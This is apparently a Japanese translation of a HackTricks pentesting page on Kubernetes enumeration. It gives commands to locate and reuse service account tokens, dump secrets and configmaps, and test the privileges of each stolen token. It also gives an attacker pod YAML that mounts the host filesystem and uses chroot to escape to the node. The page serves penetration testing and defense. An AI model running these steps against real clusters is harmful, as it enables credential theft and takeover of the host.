Kubernetes Enumeration

htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

Kubernetes トークン

マシンへのアクセスが侵害された場合、ユーザーは Kubernetes プラットフォームへのアクセス権を持っている可能性があります。トークンは通常、環境変数 KUBECONFIG によって指定されたファイルにあるか、~/.kube 内にあります

このフォルダには、API サーバーに接続するためのトークンと設定が含まれた設定ファイルが見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダも見つかることがあります。

Kubernetes 環境内のポッドが侵害された場合、現在の K8 環境に関するトークンと情報を見つけることができる他の場所があります:

サービスアカウントトークン

続ける前に、Kubernetes のサービスが何であるかわからない場合は、このリンクに従って少なくとも Kubernetes アーキテクチャに関する情報を読むことをお勧めします

Kubernetes ドキュメント からの引用:

「ポッドを作成するとき、サービスアカウントを指定しない場合、自動的に同じ名前空間の default サービスアカウントが割り当てられます。」

ServiceAccount は Kubernetes によって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。 すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これは JSON Web Token (JWT) であり、2つの当事者間で安全に主張を表現する方法です。

通常、以下のディレクトリのいずれかには:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

以下のファイルが含まれています:

  • ca.crt:Kubernetes 通信をチェックするための ca 証明書

  • namespace:現在の名前空間を示します

  • token:現在のポッドのサービストークンを含んでいます。

トークンを手に入れたら、環境変数 KUBECONFIG 内で API サーバーを見つけることができます。詳細については (env | set) | grep -i "kuber|kube" を実行してください。

サービスアカウントトークンは、ファイル sa.key にあるキーによって署名され、sa.pub によって検証されます。

Kubernetes のデフォルトの場所:

  • /etc/kubernetes/pki

Minikube のデフォルトの場所:

  • /var/lib/localkube/certs

ホットポッド

ホットポッド は、特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト、ポッドの作成などの特権タスクを実行する権限を持つトークンです。

RBAC

RBAC が何であるかわからない場合は、このセクションを読んでください

列挙チートシート

K8s 環境を列挙するには、以下のものが必要です:

  • 有効な認証トークン。前のセクションで、ユーザートークンとサービスアカウントトークンを探す場所を見ました。

  • Kubernetes API の アドレス (https://host:port**)。これは通常、環境変数や kube 設定ファイルで見つけることができます。

  • オプション:API サーバーを検証するための ca.crt。これはトークンが見つかるのと同じ場所で見つけることができます。これは API サーバー証明書を検証するのに役立ちますが、kubectl--insecure-skip-tls-verify を使用するか、curl-k を使用すると、これは必要ありません。

これらの詳細を持っていれば、kubernetes を列挙することができます。何らかの理由で APIインターネット を通じて アクセス可能 である場合は、その情報をダウンロードして、ホストからプラットフォームを列挙することができます。

しかし、通常 API サーバーは内部ネットワーク内にあります。そのため、侵害されたマシンを通じてトンネルを作成して、あなたのマシンからアクセスする必要があります。または、kubectl バイナリをアップロードするか、API サーバーに対して生の HTTP リクエストを実行するために curl/wget/anything を使用することができます。

listget 動詞の違い

get 権限を持っていると、特定のアセットの情報にアクセスできます(kubectl の _describe オプション)API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

list 権限がある場合、特定のアセットタイプをリストするためのAPIリクエストを実行することが許可されます(kubectlget オプション):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

watch 権限を持っている場合、アセットを監視するためにAPIリクエストを実行することが許可されています:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

ストリーミング接続を開くと、Deploymentの完全なマニフェストが変更されたとき(または新しいものが作成されたとき)に返されます。

以下のkubectlコマンドはオブジェクトをリストする方法を示しています。データにアクセスするにはgetの代わりにdescribeを使用する必要があります。

curlを使用する

ポッドの内部からいくつかの環境変数を使用できます:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

デフォルトでは、ポッドはドメイン名 kubernetes.default.svckube-apiサーバーアクセスでき、/etc/resolv.config でkubeネットワークを確認できます。ここではkubernetes DNSサーバーのアドレスが見つかります(同じ範囲の".1"がkube-apiエンドポイントです)。

kubectlの使用

トークンとAPIサーバーのアドレスを持っている場合、ここに示されているようにkubectlまたはcurlを使用してアクセスします:

デフォルトでは、APISERVERは https:// スキーマで通信しています

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

URLにhttps://が含まれていない場合、Bad Requestのようなエラーが発生する可能性があります。

公式のkubectlチートシートはこちらです。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し、理解するための異なるオプションを順序立てて提示することです。

kubectlが送信するHTTPリクエストを見つけるには、パラメータ-v=8を使用できます。

MitM kubectl - kubectlのプロキシ化

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

現在の設定

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

もし何らかのユーザーのクレデンシャルを盗むことができたら、以下のような方法でローカルに設定することができます:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

サポートされるリソースの取得

この情報をもとに、リストアップ可能なすべてのサービスを知ることができます。

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

現在の権限を取得する

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

権限を確認する別の方法は、ツールを使用することです: https://github.com/corneliusweig/rakkess****

Kubernetes RBACについての詳細は以下を参照してください:

pageKubernetes Role-Based Access Control(RBAC)

どの権限を持っているかを知ったら、次のページを確認して、それらを悪用して権限を昇格させることができるかを判断してください:

pageAbusing Roles/ClusterRoles in Kubernetes

他のロールを取得する

k get roles
k get clusterroles
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

ネームスペースの取得

Kubernetesは、同じ物理クラスターによって支えられる複数の仮想クラスターをサポートしています。これらの仮想クラスターはネームスペースと呼ばれます。

k get namespaces

シークレットを取得する

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

シークレットを読むことができる場合、以下の行を使用して、各トークンに関連する権限を取得できます:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

サービスアカウントの取得

このページの冒頭で説明したように、ポッドが実行されると通常、それにサービスアカウントが割り当てられます。したがって、サービスアカウントとその権限をリストし、どこで実行されているかを知ることで、ユーザーは権限の昇格を図ることができるかもしれません。

k get serviceaccounts

デプロイメントの取得

デプロイメントは、実行する必要があるコンポーネントを指定します。

.k get deployments
k get deployments -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

ポッドの取得

ポッドは実際に実行される コンテナです。

k get pods
k get pods -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

サービスの取得

Kubernetesのサービスは、特定のポートとIPでサービスを公開するために使用されます(実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みる他のサービスを見つける場所を知るために興味深いです。

k get services
k get services -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/default/services/

ノードの取得

クラスター内で設定されているすべてのノードを取得します。

k get nodes
kurl -v https://$APISERVER/api/v1/nodes/

DaemonSetsの取得

DaemonSets は、クラスターの全ノード(または選択されたノード)で特定のポッドが実行されていることを保証するために使用されます。DaemonSetを削除すると、それによって管理されているポッドも削除されます。

k get daemonsets
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

cronjobの取得

cronjobは、crontabのような構文を使用して、何らかのアクションを実行するpodの起動をスケジュールすることを可能にします。

k get cronjobs

configMapの取得

configMapには、Kubernetes内で実行されるアプリケーションに提供される多くの情報や設定ファイルが常に含まれています。通常、他の内部/外部サービスへの接続や検証に使用される多くのパスワード、シークレット、トークンが見つかります。

k get configmaps # -n namespace

"all"を取得する

k get all

ポッドの消費状況を取得する

k top pod --all-namespaces

Podからの脱出

新しいPodを作成できる場合、それらからノードへの脱出が可能になるかもしれません。これを行うには、yamlファイルを使用して新しいPodを作成し、作成されたPodに切り替えてから、ノードのシステムにchrootします。yamlファイルの参照として既存のPodを使用できます。なぜなら、それらは既存のイメージやパスを表示するからです。

kubectl get pod <name> [-n <namespace>] -o yaml

特定のノード上でpodを作成する必要がある場合、以下のコマンドを使用してノードのラベルを取得できます

k get nodes --show-labels

一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択に適したラベルです。

その後、攻撃用のattack.yamlファイルを作成します。

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""
[オリジナルのyamlソース](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)

その後、podを作成します
kubectl apply -f attacker.yaml [-n <namespace>]
作成したポッドに次のように切り替えることができます
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

最後に、ノードのシステムにchrootします

chroot /root /bin/bash

以下の情報は、次のソースから取得しました:Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

参考文献

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

最終更新